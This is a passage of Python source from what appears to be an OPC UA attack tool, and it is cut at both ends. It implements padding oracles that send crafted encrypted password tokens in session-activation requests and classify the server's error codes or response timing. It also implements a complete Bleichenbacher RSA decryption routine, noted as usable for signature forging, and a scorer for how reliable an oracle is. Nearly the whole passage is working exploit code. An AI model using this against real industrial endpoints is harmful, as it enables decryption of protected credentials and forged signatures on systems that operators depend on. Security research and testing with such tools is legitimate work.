endpointUrl=self._endpoint.endpointUrl,
sessionName=None,
clientNonce=os.urandom(32),
clientCertificate=self._endpoint.serverCertificate,
requestedSessionTimeout=600000,
maxResponseMessageSize=2**24,
)
self._header = simple_requestheader(sresp.authenticationToken)
def _cleanup(self):
if type(self._chan) == ChannelState:
self._chan.sock.shutdown(SHUT_RDWR)
self._chan.sock.close()
def _attempt_query(self, ciphertext):
token = userNameIdentityToken.create(
policyId=self._policyId,
userName='pwdtestnotarealuser',
password=ciphertext,
encryptionAlgorithm='http://www.w3.org/2001/04/xmlenc#rsa-1_5',
)
try:
generic_exchange(self._chan, SecurityPolicy.NONE, activateSessionRequest, activateSessionResponse,
requestHeader=self._header,
clientSignature=signatureData.create(algorithm=None, signature=None),
clientSoftwareCertificates=[],
localeIds=[],
userIdentityToken=token,
userTokenSignature=signatureData.create(algorithm=None, signature=None),
)
return True
except ServerError as err:
# print(hex(err.errorcode))
if err.errorcode in self._goodpad:
# print('.', end='', file=sys.stderr, flush=True)
return False
elif err.errorcode in self._badpad:
return True
else:
raise err
@classmethod
def pick_endpoint(clazz, endpoints):
# Only works with None security policy and password login support.
options = [ep
for ep in endpoints if ep.securityPolicyUri == SecurityPolicy.NONE and \
any(t.tokenType == UserTokenType.USERNAME for t in ep.userIdentityTokens)
]
if not options:
return None
# Prefer endpoints that actually advertise PKCS#1 (if not, they may still accept it).
# Otherwise, prefer None over OAEP (upgrade more likely accepted than downgrade).
# Security policies being equal, prefer binary transport.
return max(options,
key=lambda ep: (
clazz._preferred_tokenpolicy(ep).securityPolicyUri == SecurityPolicy.BASIC128RSA15,
clazz._preferred_tokenpolicy(ep).securityPolicyUri in [None, SecurityPolicy.NONE],
ep.transportProfileUri.endswith('uatcp-uasc-uabinary')
)
)
class AltPasswordPaddingOracle(PasswordPaddingOracle):
# Different interpretation of error codes.
def __init__(self, endpoint):
super().__init__(endpoint, [0x80130000], [0x80200000, 0x80210000, 0x801f0000, 0x80b00000])
class TimingBasedPaddingOracle(PaddingOracle):
def __init__(self,
endpoint,
base_oracle : PaddingOracle, # Padding oracle technique to use for timing when False is returned.
timing_threshold : float = 0.5, # When processing takes longer than this many seconds, asumming correct padding.
ctext_expansion : int = 50, # How many times bigger to repeat the ciphertext
verify_repeats : int = 2, # How many times to repeat 'slow' query before confidence that padding is correct.
):
super().__init__(endpoint)
self._base = base_oracle
self._threshold = timing_threshold
self._repeats = verify_repeats
self._expansion = ctext_expansion
def _setup(self):
# To improve reliability, repeat setup for every single attempt.
pass
def _cleanup(self):
pass
def _attempt_query(self, ciphertext):
self._base._setup()
payload = ciphertext * self._expansion
start = time.time()
try:
retval = self._base._attempt_query(payload)
except:
retval = False
duration = time.time() - start
try:
self._base._cleanup()
except:
pass
if retval:
# Apperantly no timing is needed for this one. Edge case that can occur on initial ciphertext.
return True
elif duration > self._threshold:
# Padding seems correct. Repeat with clean connections to gain certainty.
for i in range(0, self._repeats):
self._base._setup()
start = time.time()
try:
self._base._attempt_query(payload)
except:
pass
duration = time.time() - start
try:
self._base._cleanup()
except:
pass
if duration < self._threshold:
return False
# Padding must be right!
return True
else:
return False
@classmethod
def pick_endpoint(clazz, endpoints):
raise Exception('Call this on base oracle.')
# Carry out a padding oracle attack against a Basic128Rsa15 endpoint.
# Result is ciphertext**d mod n (encoded big endian; any padding not removed).
# Can also be used for signature forging.
def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : bytes) -> bytes:
# Bleichenbacher's original attack: https://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf
clen = len(ciphertext)
assert clen % 128 == 0 # Probably not an RSA ciphertext if the key size is not a multiple of 1024 bits.
k = clen * 8
# Ciphertext as integer.
c = 0
for by in ciphertext:
c *= 256
c += by
# Extract public key from the endpoint certificate.
n, e = certificate_publickey_numbers(certificate)
# B encodes as 00 01 00 00 00 .. 00 00
B = 2**(k-16)
# Metrics for progress reporting.
query_count = 0
i = 0
msize = f'{Decimal(B):.2E}'
# Oracle function.
def query(candidate):
nonlocal query_count
# Encode int as bigendian binary to submit it to the oracle.
result = oracle.query(int2bytes(candidate, clen))
# Report progress for every query.
query_count += 1
spinnything = '/-\\|'[(query_count // 30) % 4]
print(f'[{spinnything}] Progress: iteration {i}; interval size: {msize}; oracle queries: {query_count}', end='\r', file=sys.stderr, flush=True)
return result
# Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext
# already has valid padding.
# print('step 1')
if query(c):
s0 = 1
c0 = c
else:
while True:
s0 = randint(1, n)
c0 = c * pow(s0, e, n) % n
if query(c0):
# print(f'c0={c0}', flush=True)
break
test_factor = lambda sval: query(c0 * pow(sval, e, n) % n)
M_i = {(2 * B, 3 * B - 1)}
i = 1
s_i = ceildiv(n, 3*B)
while True:
# Step 2: searching for PKCS#1 conforming messages.
# print(f'step 2; i={i}; s_i={s_i}; M_i={[(hex(a), hex(b)) for a,b in M_i]}', flush=True)
if i == 1:
# 2a: starting the search.
while not test_factor(s_i):
s_i += 1
elif len(M_i) > 1:
# 2b: searching with more than one interval left
s_i += 1
while not test_factor(s_i):
s_i += 1
else:
# 2c: searching with one interval left
(a, b) = next(iter(M_i))
r_i = ceildiv(2 * (b * s_i - 2 * B), n)
done = False
while not done:
# print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {ceildiv(3 * B + r_i * n, a)}', file=sys.stderr, flush=True)
for new_s in range(ceildiv(2 * B + r_i * n, b), ceildiv(3 * B + r_i * n, a)):
if test_factor(new_s):
s_i = new_s
done = True
break
r_i += 1
# Step 3: Narrowing the set of solutions.
# print(f'step 3; s_i={s_i}',flush=True)
M_i = {
(max(a, ceildiv(2*B+r*n, s_i)), min(b, (3*B-1+r*n) // s_i))
for a, b in M_i
for r in range(ceildiv(a*s_i-3*B+1, n), (b*s_i-2*B) // n + 1)
}
msize = f'{Decimal(sum(b - a for a,b in M_i)):.2E}'
# Step 4: Computing the solution.
if len(M_i) == 1:
# print(f'step 4',flush=True)
a, b = next(iter(M_i))
if a == b:
print('', file=sys.stderr, flush=True)
m = a * pow(s0, -1, n) % n
return bytes([(m >> bits) & 0xff for bits in reversed(range(0, k, 8))])
i += 1
def padding_oracle_testinputs(keylen : int, pubkey : int, goodpads : int, badpads : int) -> list[tuple[bool,int]]:
# Returns (deterministically generated and shuffled) test cases for padding oracle testing.
# Result elements conists of a bool indicating whether the input has valid PKCS#1 padding, and said input in
# integer form.
TESTSEED = 0x424242
rng = Random(TESTSEED)
# For 'correct' test cases. First pick random padding size and then randomize both padding and data.
datasizes = [rng.randint(0, keylen - 11) for _ in range(0, goodpads)]
padvals = [sum(rng.randint(1,255) << (i * 8) for i in range(0, keylen - ds - 3)) for ds in datasizes]
correctpadding = [
(2 << 8 * (keylen - 2)) + \
(padval << 8 * (ds + 1)) + \
rng.getrandbits(8 * ds)
for padval, ds in zip(padvals, datasizes)
]
# As incorrect padding, just pick uniform random numbers modulo n not starting with 0x0002.
wrongpadding = [rng.randint(1, pubkey) for _ in range(0, badpads)]
for i in range(0, badpads):
while wrongpadding[i] >> (8 * (keylen - 2)) == 2:
wrongpadding[i] = rng.randint(1, pubkey)
# Mix order of correct and incorrect padding.
testcases = [(True, p) for p in correctpadding] + [(False, p) for p in wrongpadding]
rng.shuffle(testcases)
return testcases
def padding_oracle_quality(
certificate : bytes, oracle : PaddingOracle,
goodpads : int = 100, badpads : int = 100
) -> int:
# Gives a score between 0 and 100 on how "strong" the padding oracle is.
# This is determined by encrypting testing 100 plaintexts with correct padding and 100 with incorrect padding.
# The score is based on the number of correct padding correctly reported as such is returned.
# If any incorrectly padded plaintext is reported as valid, 0 is returned.
# Will not catch PaddingOracle exceptions.
# Extract public key from certificate as Python ints.
keylen = certificate_publickey(certificate).size_in_bytes()
n, e = certificate_publickey_numbers(certificate)
testcases = padding_oracle_testinputs(keylen, n, goodpads, badpads)
# Perform the test.
score = 0
for i, (padding_right, plaintext) in enumerate(testcases):
progress = i * 200 // (goodpads + badpads)
progbar = '=' * (progress // 2) + ' ' * (100 - progress // 2)
print(f'[*] Progress: [{progbar}]', file=sys.stderr, end='\r', flush=True)
if oracle.query(int2bytes(pow(plaintext, e, n), keylen)):
if padding_right:
# Correctly identified valid padding.
score += 1
else:
# Our Bleichenbacher attack can't deal with false negatives.
return 0